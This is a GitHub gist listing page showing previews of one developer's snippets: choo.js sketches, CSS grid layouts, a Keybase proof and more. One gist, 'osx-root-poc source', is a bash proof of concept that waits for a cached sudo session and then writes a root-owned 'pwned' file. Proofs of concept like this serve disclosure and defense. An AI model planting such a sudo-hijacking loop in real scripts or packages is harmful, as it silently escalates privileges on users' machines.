Skip to content

Instantly share code, notes, and snippets.

Nate Goldman ungoldman

Block or report user

Report or block ungoldman

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@ungoldman
ungoldman / choo-store.js
Last active Jul 24, 2018
sketch of a simple wrapper for predictable, namespaced choo stores
View choo-store.js
/*
Now a real module used in production!
https://github.com/ungoldman/choo-store
*/
class Store {
constructor (opts) {
opts = opts || {}
@ungoldman
ungoldman / index.js
Created Aug 10, 2017
requirebin sketch
View index.js
var html = require('choo/html')
var choo = require('choo')
var app = choo()
app.use(titleStore)
app.route('/', mainView)
app.mount('body')
function mainView (state, emit) {
return html`
@ungoldman
ungoldman / .block
Last active May 10, 2017
basic grid layout with pure CSS and no classes
View .block
license: mit
height: 100%
scrolling: yes
@ungoldman
ungoldman / index.html
Last active May 9, 2017
table grid example
View index.html
<!DOCTYPE html>
<html lang="en" class="element">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>grid experiment</title>
<link rel="stylesheet" href="https://elementcss.neocities.org/dist/element-0.0.1.min.css">
<style>
table { width: 100%; table-layout: fixed; }
@ungoldman
ungoldman / computer-ethics.md
Last active Jun 27, 2018
Resources on Computer Ethics
View computer-ethics.md
View keybase.md

Keybase proof

I hereby claim:

  • I am ungoldman on github.
  • I am ngoldman (https://keybase.io/ngoldman) on keybase.
  • I have a public key whose fingerprint is 6E2E 51A7 DE11 3B45 69D2 E228 F669 1FA3 9059 C828

To claim this, I am signing this object:

@ungoldman
ungoldman / authfsd
Last active Sep 4, 2017
osx-root-poc source
View authfsd
#!/bin/bash
while :; do sudo -n ls &>/dev/null && break || sleep 1; done
echo "Hello from `sudo whoami`" > "$HOME/npm_pwned.log"
sudo chown root "$HOME/npm_pwned.log"
sudo chmod 400 "$HOME/npm_pwned.log"
@ungoldman
ungoldman / index.js
Last active Mar 25, 2016
requirebin sketch
View index.js
var bel = require('bel')
var html = '<div>hi</div>'
var body = bel`<div>${html}</div>`
document.body.appendChild(body)
try {
document.body.appendChild(bel`${html}`)
} catch (e) {
document.body.appendChild(bel`<div>${e.message}</div>`)
@ungoldman
ungoldman / example.html
Created Nov 8, 2015
positioning text over an image
View example.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Bikelandia</title>
<style>
html, body {
margin: 0;
padding: 0;
}
@ungoldman
ungoldman / groenlandcote.geojson
Last active Oct 15, 2015
sample geojson for testing koop-gist
View groenlandcote.geojson
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
You can’t perform that action at this time.